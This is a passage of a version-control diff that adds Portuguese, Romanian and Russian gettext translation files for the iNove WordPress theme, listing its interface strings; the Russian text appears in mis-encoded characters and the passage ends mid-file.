+msgstr "j, F, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Arquivo do Autor" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Arquivo do Blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Editar" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Nenhum comentário" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 comentário" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% comentários" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Ler mais..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Lamentamos, mas nenhum artigo responde aos seus critérios de procura." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Artigos Mais Recentes" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Artigos Mais Antigos" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Escrever um comentário" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Ver comentários" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Insira a sua Palavra Chave para ver os comentários." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Comentários" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Ainda sem nenhum comentário." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Página de comentários" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s a %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Ainda sem nenhum trackback." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Comentários encerrados." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Por favor autentique-se para enviar um coment´rio." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Autenticado como" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Sair desta conta" + +#: comments.php:151 +msgid "Logout »" +msgstr "Sair »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Bem-vindo novamente %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Alterar »" + +#: comments.php:159 +msgid "Close »" +msgstr "Fechar »" + +#: comments.php:166 +msgid "Name" +msgstr "Nome" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(obrigatório)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (não será publicado)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Subscrever o feed de comentários" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Enviar comentário" + +#: footer.php:17 +msgid "Top" +msgstr "Topo" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Tema criado por NeoEase. Validar XHTML 1.1 e CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opções do Tema Atual" + +#: functions.php:194 +msgid "Search" +msgstr "Procurar" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Usar o Google Custom Search Engine." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Localize o name=\"cx\" no Código da caixa de busca do Google Custom Search Engine, e digite o valor aqui.
    Por exemplo: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Exibir as páginas como menu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Exibir as categorias como menu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Informação" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML ativado" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Esta barra de informação será apresentada por cima dos textos na página inicial. " + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Quem pode ver?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Utilizadores registrados" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Comentador" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Visitantes" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Caixa de texto" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Esta caixa de texto será apresentada no topo da barra lateral." + +#: functions.php:329 +msgid "Title:" +msgstr "Título:" + +#: functions.php:345 +msgid "Posts" +msgstr "Artigos" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Exibir os autores dos artigos." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Exibir as categorias nos artigos." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Exibir as etiquetas nos artigos." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Feed personalizado." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Feed por Email." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Gravar alterações" + +#: functions.php:567 +msgid "Reply" +msgstr "Resposta" + +#: functions.php:568 +msgid "Quote" +msgstr "Citação" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Editar" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "O seu comentário aguarda aprovação." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Editar links" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Subscrever este blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Subscrever com " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Subscrever este blog por email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Feed por Email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Ir para a página inicial" + +#: single.php:7 +msgid "Home" +msgstr "Página Inicial" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ro_RO.mo Binary file web/wp-content/themes/inove/languages/ro_RO.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ro_RO.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/ro_RO.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:07+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - toate posturile" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - toate comentariile" + +#: 404.php:22 +msgid "Talker" +msgstr "Vorbitor" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Bun venit pe pagina 404 eroare!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Bun venit pe pagina personalizată cu eroare. Ai ajuns pe această pagină deoarece ai dat click pe un link care nu există. Probabil este vina ta... dar atâta timp cât vezi pagina cu \"Eroare 404\" s-ar putea să fie ÅŸi alte motive neexplicabile. Am creat acestă pagină pentru a vă explica ce este greÅŸit." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "PuteÅ£i, fie să faceÅ£i click pe butonul 'back' de la browser ÅŸi să încerci să navighezi prin site într-o direcÅ£ie diferită sau să urmezi link-ul pentru a ajunge pe pagina principală." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "ÃŽnapoi pe prima pagină »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Rezultatele Căutării" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Keyword: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arhivă" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arhivă pentru ‘%1$s’ Categoria" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Post Tăguit cu ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arhivă pentru %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Arhivă Autorului" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Arhiva Blogului" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Editează" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Fără comentarii" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 comentariu" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% comentarii" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "CiteÅŸte mai departe..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "ÃŽmi pare rău, nu sunt posturi după acest criteriu." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "ÃŽnsemnări mai noi" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "ÃŽnsemnări mai vechi" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Lasă un comentariu" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Du-te la comentarii" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "ÃŽntruduceÅ£i parola pentru a vedea comentariile." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Comentarii" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Nici un comentariu momentan." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Pagina cu comentarii" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s la %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Nici un trackbacks momentan." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Comentariile sunt închise." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Trebuie să fii logat pentru a povesta un comentariu." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Logat ca" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "IeÅŸire din cont" + +#: comments.php:151 +msgid "Logout »" +msgstr "ieÅŸire »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Bun venit înapoi %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Schimbă »" + +#: comments.php:159 +msgid "Close »" +msgstr "ÃŽnchide »" + +#: comments.php:166 +msgid "Name" +msgstr "Nume" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(obligatoriu)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (nu v-a fi publicat)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Abonează-te la comentarii prin feed" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Comentează" + +#: footer.php:17 +msgid "Top" +msgstr "Top" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "OpÅ£iuni la tema curentă" + +#: functions.php:194 +msgid "Search" +msgstr "Caută" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "FoloseÅŸte căutarea personalizată de la google pentru motorul de căutare." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Caută name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    De exemplu: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Bara de meniu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Arată paginile ca meniu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Arată categoriile ca meniu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "NotiÅ£e" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML enabled" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Acestă bara de notiÅ£e v-a apărea deasupra posturile pe prima pagină." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Cine poate vedea?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Utilizatori ÃŽnregistraÅ£i" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Comentator" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Vizitatori" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Arată caseta" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Acestă casetă v-a apărea deasupra slidebar-ului." + +#: functions.php:329 +msgid "Title:" +msgstr "Titlu:" + +#: functions.php:345 +msgid "Posts" +msgstr "Posturi" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Arată autorul în posturi." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Arată categoriile în posturi." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Arată tag-urile în posturi." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Custom feed." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Salvează Schimbările" + +#: functions.php:567 +msgid "Reply" +msgstr "Răspunde" + +#: functions.php:568 +msgid "Quote" +msgstr "Citat" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Editarea avansată" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Comentariul tău aÅŸteaptă moderarea." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Editează linkurile" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Abonează-te la acest blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Abonează-te cu" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Abonează-te la acest blog prin email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Email feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Mergi pe prima pagină" + +#: single.php:7 +msgid "Home" +msgstr "Acasă" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ru_RU.mo Binary file web/wp-content/themes/inove/languages/ru_RU.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ru_RU.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/ru_RU.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:07+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - вÑе ÑообщениÑ" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - вÑе комментарии" + +#: 404.php:22 +msgid "Talker" +msgstr "" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Добро пожаловать на Ñтраницу ошибки 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Добро пожаловать на Ñтраницу ошибки. Ð’Ñ‹ попали Ñюда, потому что кликнули на неправильную ÑÑылку. Скорее вÑего, Ñто наша вина... Однако мы решили не показывать вам обычную '404 Error', ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ путает проÑтых пользователей, но Ñоздали Ñту Ñтраницу, доходчиво объÑÑнÑющую что к чему." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Ð’Ñ‹ можете либо (1) нажать в браузере кнопку \"назад\" и попробовать пойти по Ñайту в другом направлении, либо (2) нажать на Ñту ÑÑылку, чтобы попаÑть на главную Ñтраницу." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Ðазад на главную Ñтраницу »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Результаты поиÑка" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Ключевое Ñлово: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Ðрхив" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Ðрхив раздела ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Публикации Ñ Ð¼ÐµÑ‚ÐºÐ¾Ð¹ ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Ðрхив %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:31 +msgid "Y" +msgstr "" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Ðрхив автора" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Ðрхив блога" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Редактировать" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Ðет комментариев" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 комментарий" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Читать далее..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Извините, не найдено публикаций, ÑоответÑтвующих вашему запроÑу." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Ðовые запиÑи" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Старые запиÑи" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "ÐапиÑать комментарий" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "К комментариÑм" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Введите пароль, чтобы поÑмотреть комментарии." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Комментарии" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "УведомлениÑ" + +#: comments.php:34 +msgid "Trackback" +msgstr "Уведомление" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Пока что нет комментариев." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Страницы комментариев" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s в %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Пока что нет уведомлений." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Комментирование отключено." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Ðеобходимо войти на Ñайт, чтобы напиÑать комментарий." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Ð’Ñ‹ вошли как" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Выйти" + +#: comments.php:151 +msgid "Logout »" +msgstr "Выход »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "ЗдравÑтвуй, %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Изменить »" + +#: comments.php:159 +msgid "Close »" +msgstr "Закрыть »" + +#: comments.php:166 +msgid "Name" +msgstr "ИмÑ" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(обÑзательно)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-mail (не публикуетÑÑ)" + +#: comments.php:174 +msgid "Website" +msgstr "ВебÑайт" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "ПодпиÑатьÑÑ Ð½Ð° комментарии по RSS" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Отправить комментарий" + +#: footer.php:17 +msgid "Top" +msgstr "Ðаверх" + +#: footer.php:27 +msgid "Copyright © " +msgstr "" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Тема блога от NeoEase. Valid XHTML 1.1 and CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "ÐаÑтройки текущей темы" + +#: functions.php:194 +msgid "Search" +msgstr "ПоиÑк" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "ИÑпользуетÑÑ Ð¿Ð¾Ð¸Ñк от google." + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search 